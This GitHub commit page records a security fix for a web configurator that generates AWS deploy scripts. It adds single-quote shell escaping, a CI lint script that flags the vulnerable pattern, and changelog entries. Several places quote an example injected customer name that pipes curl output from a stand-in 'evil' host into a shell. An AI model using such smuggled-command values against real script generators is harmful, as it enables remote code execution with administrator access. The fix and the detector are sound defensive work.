Skip to content

Commit 2094728

Browse files
Chris Hyuclaude
andcommitted
security: single-quoted containment for customerName in deploy.sh (U4, v20.5.2)
**Security class: supply-chain RCE.** Severity: high. The bug: configurator.html emitted the customer-name field as `CUSTOMER="${customerDisplay}"` inside DOUBLE quotes. The JS-side escape only neutralized single quotes. In double-quoted bash, $(...), backticks, \, and $VAR all still expand. A partner-supplied customer name like `Acme $(curl evil|sh) Corp` would execute the subshell when the customer pasted the generated deploy.sh into CloudShell — arbitrary code at AdministratorAccess on the customer's management account. The fix: customer-name now emits as `CUSTOMER=${customerDisplay}` (no surrounding quotes) where customerDisplay is the output of a shellSingleQuote helper that wraps the value in single quotes and escapes embedded single quotes via the canonical `'\''` close- insert-reopen pattern. CR/LF stripped so a newline can't escape shell comment lines either. Applies to both the single-account and multi-account deploy.sh generators. No runtime Lambda change; YAML is byte-identical to v20.5.1 except for the four version stamps. Customers who already deployed are NOT affected. Customers generating a fresh deploy.sh should re-download from the configurator before next deploy. Guardrail: new Layer 1 CI check `Shell Injection Guard` (.github/scripts/lint_shell_injection.py) fails the build if the double-quoted customer-value shape is reintroduced. Regression- verified by temporarily reintroducing the bug — both emit sites flagged; bug reverted; lint passes again. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
1 parent 89a2a31 commit 2094728

6 files changed

Lines changed: 182 additions & 14 deletions

File tree

Lines changed: 123 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,123 @@
1+
#!/usr/bin/env python3
2+
"""
3+
lint_shell_injection.py — block a specific class of generator-side shell
4+
injection bug from reaching prod.
5+
6+
Context: `configurator.html` builds a bash script at runtime via a JS
7+
template literal and offers it to the customer as `deploy.sh`. A naive
8+
author escapes user-controlled input with `.replace(/'/g, "'\\''")` and
9+
then emits the value inside DOUBLE quotes. In double-quoted bash,
10+
`$(...)`, backticks, `\`, and `$VAR` all still expand — the escape is
11+
irrelevant and a partner-supplied "customer name" like
12+
`Acme $(curl evil.sh|bash) Corp` becomes RCE on the customer's
13+
CloudShell with AdministratorAccess. That's U4 in the remediation plan.
14+
15+
The only correct shape here is SINGLE-quoted containment where the
16+
`'\''` escape closes the span, inserts a literal quote, and reopens.
17+
This lint enforces that shape.
18+
19+
Rule: any line in configurator.html that contains BOTH
20+
(a) the single-quote `.replace(/'/g, "'\\''")` escape pattern, AND
21+
(b) a helper variable that is subsequently emitted inside DOUBLE quotes
22+
must fail. Equivalently: variables produced by the single-quote escape
23+
must only be emitted inside single quotes (or bare — when the helper
24+
already wraps in single quotes itself).
25+
26+
Heuristic shape of the negative pattern, line-by-line:
27+
const X = <something>.replace(/'/g, "'\\''");
28+
...
29+
${X} inside a line that starts with a shell-variable assignment
30+
"${X}" <-- FAIL: double-quoted emit of single-quote-escaped value
31+
32+
A one-liner regex can't fully verify taint flow, but we can catch the
33+
two known-bad shapes directly: (1) the bare `.replace(/'/g, "'\\''")`
34+
pattern outside a containment helper that returns a single-quote-wrapped
35+
string; (2) any occurrence of `"${<varname>}"` where `<varname>` was
36+
declared via that escape. Keep the check narrow so it does not false-
37+
positive across future generator work.
38+
"""
39+
from __future__ import annotations
40+
41+
import pathlib
42+
import re
43+
import sys
44+
45+
ROOT = pathlib.Path(__file__).resolve().parents[2]
46+
HTML_FILE = ROOT / 'configurator.html'
47+
48+
SINGLE_QUOTE_ESCAPE = re.compile(
49+
r"""\.replace\(\s*/'/g\s*,\s*["']'\\\\''["']\s*\)"""
50+
)
51+
# A "safe" escape helper wraps its output in single quotes:
52+
# `'${ ... .replace(/'/g, "'\\''") }'`
53+
# Detect by looking for the escape call inside a template literal that
54+
# opens with `' and closes with '`.
55+
SAFE_HELPER_LINE = re.compile(
56+
r"""`'\$\{.*\.replace\(\s*/'/g\s*,\s*["']'\\\\''["']\s*\).*\}'`"""
57+
)
58+
# Lines of the form `VAR="${customerSomething}"` where the double-quote
59+
# wrapping is the bug (assumes the escape produced the value).
60+
DOUBLE_QUOTED_CUSTOMER_EMIT = re.compile(
61+
r'^\s*[A-Z_][A-Z0-9_]*="\$\{(customer\w*)\}"\s*$'
62+
)
63+
64+
65+
def main() -> int:
66+
if not HTML_FILE.exists():
67+
print(f"lint_shell_injection: {HTML_FILE} not found", file=sys.stderr)
68+
return 1
69+
70+
text = HTML_FILE.read_text()
71+
fails: list[str] = []
72+
73+
# Check 1: every `.replace(/'/g, "'\\''")` use must be inside a
74+
# containment helper that wraps its output in single quotes.
75+
for m in SINGLE_QUOTE_ESCAPE.finditer(text):
76+
# Find the enclosing line.
77+
line_start = text.rfind('\n', 0, m.start()) + 1
78+
line_end = text.find('\n', m.end())
79+
line = text[line_start:line_end]
80+
lineno = text.count('\n', 0, m.start()) + 1
81+
# If the surrounding expression doesn't single-quote-wrap the
82+
# result (see SAFE_HELPER_LINE), flag it.
83+
if not SAFE_HELPER_LINE.search(line):
84+
# Also tolerate lines that immediately wrap in single quotes
85+
# via a later concatenation pattern like `"'" + escape + "'"`.
86+
if not re.search(r"""["']'["']\s*\+""", line) and not re.search(r"""\+\s*["']'["']""", line):
87+
fails.append(
88+
f"configurator.html:{lineno}: `.replace(/'/g, \"'\\\\''\")` used without "
89+
f"single-quoted containment. This escape is ONLY valid inside single-quoted "
90+
f"shell output. Wrap the result in `'...'` or use a helper that does. See U4."
91+
)
92+
93+
# Check 2: no `VAR="${customerX}"` emit pattern. Customer-derived values
94+
# must be emitted without surrounding double quotes — the helper itself
95+
# produces a properly single-quoted literal.
96+
for i, line in enumerate(text.splitlines(), start=1):
97+
m = DOUBLE_QUOTED_CUSTOMER_EMIT.match(line)
98+
if m:
99+
fails.append(
100+
f"configurator.html:{i}: {line.strip()!r} emits a customer-derived value inside "
101+
f"double quotes. In double-quoted bash, $(...), `...`, \\, and $VAR all still "
102+
f"expand — this is the U4 RCE shape. Drop the surrounding double quotes; the "
103+
f"shellSingleQuote helper already wraps its output in single quotes."
104+
)
105+
106+
if fails:
107+
print("lint_shell_injection: FAILED")
108+
for f in fails:
109+
print(f" ❌ {f}")
110+
print()
111+
print(
112+
"See U4 in auto-map-tagger-state.md for the attack scenario. "
113+
"The fix is shell-single-quote containment; never emit user-controlled "
114+
"values inside double-quoted shell strings."
115+
)
116+
return 1
117+
118+
print("OK: no shell-injection shapes detected in configurator.html (U4 guard).")
119+
return 0
120+
121+
122+
if __name__ == '__main__':
123+
sys.exit(main())

.github/workflows/lint.yml

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -475,3 +475,20 @@ jobs:
475475

476476
- name: Enforce CFN correctness (name lengths, !Sub coverage, ref targets)
477477
run: python3 .github/scripts/lint_cfn_correctness.py
478+
479+
# ── 10. Shell injection guard (catches the U4 RCE shape) ─────────────────
480+
# configurator.html emits a bash script at runtime. A partner-controlled
481+
# `customerName` field previously flowed into a double-quoted shell
482+
# variable, where `$(...)`, backticks, `\`, and `$VAR` still expand —
483+
# a single-line RCE against any customer who pastes the generated
484+
# deploy.sh into their CloudShell. This check enforces that customer-
485+
# derived values are emitted only inside single-quoted shell strings
486+
# via the shellSingleQuote helper.
487+
shell-injection-guard:
488+
name: Shell Injection Guard
489+
runs-on: ubuntu-latest
490+
steps:
491+
- uses: actions/checkout@v4
492+
493+
- name: Enforce single-quoted containment for customer-controlled shell values
494+
run: python3 .github/scripts/lint_shell_injection.py

CHANGELOG.md

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,16 @@ All notable changes to the MAP 2.0 Auto-Tagger.
66

77
## v20 — Resilient SQS Pipeline + Open Source
88

9+
### v20.5.2 — Security: generator-side shell-injection fix (PR #46)
10+
11+
**Security class: supply-chain RCE.** Severity: high. No runtime Lambda change; the YAML template is byte-identical to v20.5.1. Customers who already deployed are NOT affected. Customers generating a fresh `deploy.sh` should re-download from the configurator before next deploy.
12+
13+
**The bug (U4):** `configurator.html` emitted the customer-name field into the generated `deploy.sh` as `CUSTOMER="${customerDisplay}"`, inside double quotes. The JS-side escape only neutralized single quotes. In double-quoted bash, `$(...)`, backticks, `\`, and `$VAR` all still expand. A partner-supplied customer name like `Acme $(curl evil|sh) Corp` would execute the subshell when the customer pasted the generated script into CloudShell — arbitrary code at AdministratorAccess on the customer's management account.
14+
15+
**The fix:** customer-name now emits as `CUSTOMER=${customerDisplay}` (no surrounding quotes) where `customerDisplay` is the output of a `shellSingleQuote` helper that wraps the value in single quotes and escapes embedded single quotes via the canonical `'\''` close-insert-reopen pattern. CR/LF are stripped so a newline cannot escape a shell comment either. Applies to both the single-account and multi-account deploy.sh generators.
16+
17+
**Guardrail:** new Layer 1 CI check `Shell Injection Guard` (`lint_shell_injection.py`) fails the build if the double-quoted customer-value shape is reintroduced. Verified against the regression — reintroducing `CUSTOMER="${customerDisplay}"` fails the check on both emit sites.
18+
919
### v20.5.1 — Hygiene fixes (SSM TTL, events:TagResource, ConfigParameter output)
1020

1121
Three independent correctness fixes (PR #44). No new capability — tightens existing code against latent failure classes.

VERSIONING.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -21,7 +21,7 @@
2121

2222
The version lives in exactly two places:
2323

24-
1. **`configurator.html`**`const TEMPLATE_VERSION = 'v20.5.1';` (one occurrence)
24+
1. **`configurator.html`**`const TEMPLATE_VERSION = 'v20.5.2';` (one occurrence)
2525
2. **`map2-auto-tagger-optimized.yaml`** — Description header, `MapVersion` SSM parameter default, Lambda `TEMPLATE_VERSION` constant, `TemplateVersion` CFN output (all four must equal the configurator constant)
2626

2727
`.github/scripts/sync-check.py` enforces this invariant. Any drift between references is a sync-check failure.

configurator.html

Lines changed: 27 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -977,15 +977,23 @@ <h3 style="margin:20px 0 8px;font-size:14px;" data-i18n="ui_editor_script_previe
977977

978978
<script>
979979
// Template version — single source of truth for the SemVer constant.
980-
// Must match `TEMPLATE_VERSION = 'v20.5.1'` in map2-auto-tagger-optimized.yaml (sync-check enforces this).
981-
const TEMPLATE_VERSION = 'v20.5.1';
980+
// Must match `TEMPLATE_VERSION = 'v20.5.2'` in map2-auto-tagger-optimized.yaml (sync-check enforces this).
981+
const TEMPLATE_VERSION = 'v20.5.2';
982982

983983
// Version history surfaced in the Update flow. Bullets are intentionally English-only —
984984
// translating release notes across 7 languages for every PR is unsustainable. Labels
985985
// (titles, buttons) go through i18n; change bullets stay in source form.
986986
// Tags: bugfix, coverage, breaking, security, perf, other.
987987
// sync-check.py enforces that the newest entry's version matches TEMPLATE_VERSION.
988988
const VERSION_HISTORY = [
989+
{
990+
version: 'v20.5.2',
991+
date: '2026-04-25',
992+
changes: [
993+
{ tag: 'security', text: 'Generated deploy.sh now contains customer-name input inside single-quoted shell strings (previously double-quoted). Fixes a supply-chain RCE where a partner-supplied customer name like `Acme $(curl evil|sh) Corp` would execute on the customer\'s CloudShell with AdministratorAccess. Re-download deploy.sh from the configurator before next deploy.' },
994+
{ tag: 'other', text: 'New Layer 1 CI check (Shell Injection Guard) fails the build if the generator reintroduces the unsafe shape.' },
995+
],
996+
},
989997
{
990998
version: 'v20.5.1',
991999
date: '2026-04-25',
@@ -6251,9 +6259,19 @@ <h3 style="margin:20px 0 8px;font-size:14px;" data-i18n="ui_editor_script_previe
62516259
// Escape backticks and dollar signs in template content for safe embedding in heredoc
62526260
const escapeHeredoc = (s) => s.replace(/`/g, '\`');
62536261

6254-
// Sanitize customer name for safe use in shell — keep display name as-is (supports Unicode),
6255-
// use MPE ID for filename (always ASCII-safe)
6256-
const customerDisplay = (config.customerName || 'Customer').replace(/'/g, "'\\''");
6262+
// Shell-safe containment for customerName. We emit the value inside SINGLE quotes
6263+
// so bash performs no interpolation. The classic `'\''` trick closes the single-quoted
6264+
// span, inserts an escaped literal quote, and reopens. Also strip CR/LF to prevent a
6265+
// newline from escaping single-line shell contexts (e.g. comment lines).
6266+
//
6267+
// DO NOT change this to double-quoted emit without also removing the single-quote escape:
6268+
// in double quotes, $(...), backticks, \, and $VAR all still expand, re-opening the
6269+
// supply-chain RCE the escape was meant to prevent.
6270+
const shellSingleQuote = (s) => `'${String(s).replace(/[\r\n]/g, ' ').replace(/'/g, "'\\''")}'`;
6271+
const customerDisplay = shellSingleQuote(config.customerName || 'Customer');
6272+
// Header comment form — strip CR/LF so a newline in the field can't escape the `#`
6273+
// comment line and land on a fresh executable line.
6274+
const customerComment = String(config.customerName || 'Customer').replace(/[\r\n]/g, ' ');
62576275
const reportFile = `map-tagger-report-${mpe}-\$(date +%Y%m%d-%H%M%S).txt`;
62586276

62596277
if (config.deployMode === 'single') {
@@ -6263,15 +6281,15 @@ <h3 style="margin:20px 0 8px;font-size:14px;" data-i18n="ui_editor_script_previe
62636281
# SPDX-License-Identifier: MIT-0
62646282
#
62656283
# MAP 2.0 Auto-Tagger — Deployment Script
6266-
# Customer: ${config.customerName || 'Customer'} | MPE: ${mpe}
6284+
# Customer: ${customerComment} | MPE: ${mpe}
62676285
# Run this file in AWS CloudShell: bash deploy.sh
62686286
set -e
62696287

62706288
STACK_NAME="map-auto-tagger-${mpe}"
62716289
REGIONS="${regions.join(' ')}"
62726290
REGION="${region}"
62736291
MPE="${mpe}"
6274-
CUSTOMER="${customerDisplay}"
6292+
CUSTOMER=${customerDisplay}
62756293
REPORT_FILE="${reportFile}"
62766294
DEPLOY_TIME=\$(date '+%Y-%m-%d %H:%M:%S')
62776295
PREFLIGHT_LOG=""
@@ -6761,7 +6779,7 @@ <h3 style="margin:20px 0 8px;font-size:14px;" data-i18n="ui_editor_script_previe
67616779
# SPDX-License-Identifier: MIT-0
67626780
#
67636781
# MAP 2.0 Auto-Tagger — Deployment Script
6764-
# Customer: ${config.customerName || 'Customer'} | MPE: ${mpe}
6782+
# Customer: ${customerComment} | MPE: ${mpe}
67656783
# Run this file in AWS CloudShell (management account): bash deploy.sh
67666784
set -e
67676785

@@ -6770,7 +6788,7 @@ <h3 style="margin:20px 0 8px;font-size:14px;" data-i18n="ui_editor_script_previe
67706788
ACCOUNT=\$(aws sts get-caller-identity --query Account --output text)
67716789
BUCKET="auto-map-tagger-\${ACCOUNT}"
67726790
STACK_NAME="map-auto-tagger-${mpe}"
6773-
CUSTOMER="${customerDisplay}"
6791+
CUSTOMER=${customerDisplay}
67746792
REPORT_FILE="${reportFile}"
67756793
DEPLOY_TIME=\$(date '+%Y-%m-%d %H:%M:%S')
67766794
PREFLIGHT_LOG=""

map2-auto-tagger-optimized.yaml

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@
33

44
AWSTemplateFormatVersion: '2010-09-09'
55
Description: >
6-
MAP 2.0 Auto-Tagger v20.5.1 - Auto-tags AWS resources with map-migrated for MAP 2.0
6+
MAP 2.0 Auto-Tagger v20.5.2 - Auto-tags AWS resources with map-migrated for MAP 2.0
77
credit eligibility. 190+ resource types. Deploy once; tagging happens within 60-90 s
88
of resource creation. Daily reconciliation Lambda (RGTA-based) catches any tags the
99
live Lambda missed. Three-path error classifier + TagFailureByClass CloudWatch metric
@@ -64,7 +64,7 @@ Resources:
6464
Name: !Sub '/auto-map-tagger/${MpeId}/version'
6565
Type: String
6666
Description: MAP 2.0 Auto-Tagger template version pinned at deploy time
67-
Value: v20.5.1
67+
Value: v20.5.2
6868

6969
# SSM Parameter Store - single source of truth for config
7070
MapConfig:
@@ -371,7 +371,7 @@ Resources:
371371
# Template version pinned at deploy time. Surfaced in CloudWatch Logs on
372372
# every cold start so ops can trace which version processed an event
373373
# without reading the CFN stack or SSM parameter.
374-
TEMPLATE_VERSION = 'v20.5.1'
374+
TEMPLATE_VERSION = 'v20.5.2'
375375
print(f'auto-map-tagger {TEMPLATE_VERSION} cold start')
376376
377377
ssm = boto3.client('ssm')
@@ -2404,7 +2404,7 @@ Outputs:
24042404
Value: !Ref MapConfig
24052405
TemplateVersion:
24062406
Description: MAP 2.0 Auto-Tagger template version (pinned at deploy time)
2407-
Value: v20.5.1
2407+
Value: v20.5.2
24082408
AlertTopicArn:
24092409
Description: SNS topic for tagger alerts - subscribe your email here
24102410
Value: !Ref AlertTopic

0 commit comments

Comments
 (0)